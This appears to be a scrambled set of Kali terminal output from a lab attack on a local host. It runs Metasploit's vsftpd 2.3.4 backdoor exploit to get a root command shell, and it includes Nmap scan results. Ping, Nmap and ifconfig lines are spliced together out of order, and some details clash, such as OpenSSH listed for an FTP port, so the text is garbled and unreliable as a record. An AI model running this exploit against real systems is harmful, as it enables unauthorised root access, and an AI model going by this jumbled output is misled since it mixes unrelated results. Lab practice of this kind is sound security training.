

```
64 Name Current Setting Required Description time=0.593 ms
```

```
64 _____ _____ 14 _____ 54 _____ time=0.716 ms
```

```
64 _____
```

```
64 _____
```

```
Exploit target: 1 fitted, 4 received, 0% packet loss, time 3044ms
```

```
RTT min/avg/max/ndev = 0.593/0.783/1.223/0.258 ms
```

```
Id Name
```

```
--- --
```

```
0 Automatic 168.1.149
```

```
Starting Nmap 7.94SVN ( https://nmap.org/ ) at 2024-03-05 09:48 EST
```

```
Nmap scan report for 192.168.1.149
```

```
Host is up (0.0014s latency)
```

```
View the full module info with the info, or info -d command.
```

```
PORT STATE SERVICE VERSION
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
```

```
tcp open_ftp OpenSSH 4.7p1 Debian Squeeze (protocol 2.0)
```

```
[*] 192.168.1.149:21 - Banner: 220 (vsFTPD 2.3.4)
```

```
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
```

```
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
```

```
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root) info: DAV/3)
```

```
[*] Found shell. archind = 3 (RPG #100000)
```

```
[*] Command shell session 1 opened (192.168.1.100:45875 → 192.168.1.149:6200) at 2024-03-05 10:01:40 -0500
```

```
445/tcp open_netbios-ssn Samba smbd 3.0.2-4.1 (workgroup: WORKGROUP)
```

```
ifconfig open_exec netkit_rsh rshexec
```

```
eth0 up Link encap:Ethernet HWaddr 08:00:27:08:cb:23
```

```
514/tcp inet addr:192.168.1.149 Bcast:192.168.1.255 Mask:255.255.255.0
```

```
1099/tcp inet6 addr: fd00::a00:27ff:fe08:cb23/64 Scope:Global
```

```
1524/tcp inet6 addr: fe80::a00:27ff:fe08:cb23/64 Scope:Link
```

```
2049/tcp UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
```

```
2121/tcp RX packets:2741 errors:0 dropped:0 overruns:0 frame:0
```

```
3306/tcp TX packets:1487 errors:0 dropped:0 overruns:0 carrier:0
```

```
5432/tcp collisions:0 txqueuelen:1000
```

```
5900/tcp RX bytes:200053 (195.3 KB) TX bytes:120390 (117.5 KB)
```

```
6000/tcp Base address:0xd020 Memory:f0200000-f0220000
```

```
6667/tcp open_irc UnrealIRCd
```

```
lo up Link encap:Local Loopback
```

```
8180/tcp inet addr:127.0.0.1 Mask:255.0.0.0
```

```
Service inet6 addr: ::1/128 Scope:Host
```

```
UP LOOPBACK RUNNING MTU:1636 Metric:1
```

```
RX packets:204 errors:0 dropped:0 overruns:0 frame:0
```

```
Service TX packets:204 errors:0 dropped:0 overruns:0 carrier:0
```

```
collisions:0 txqueuelen:0 scanned in 00.00 seconds
```

```
RX bytes:58477 (57.1 KB) TX bytes:58477 (57.1 KB)
```

```
kali@kali: ~
```

```
~
```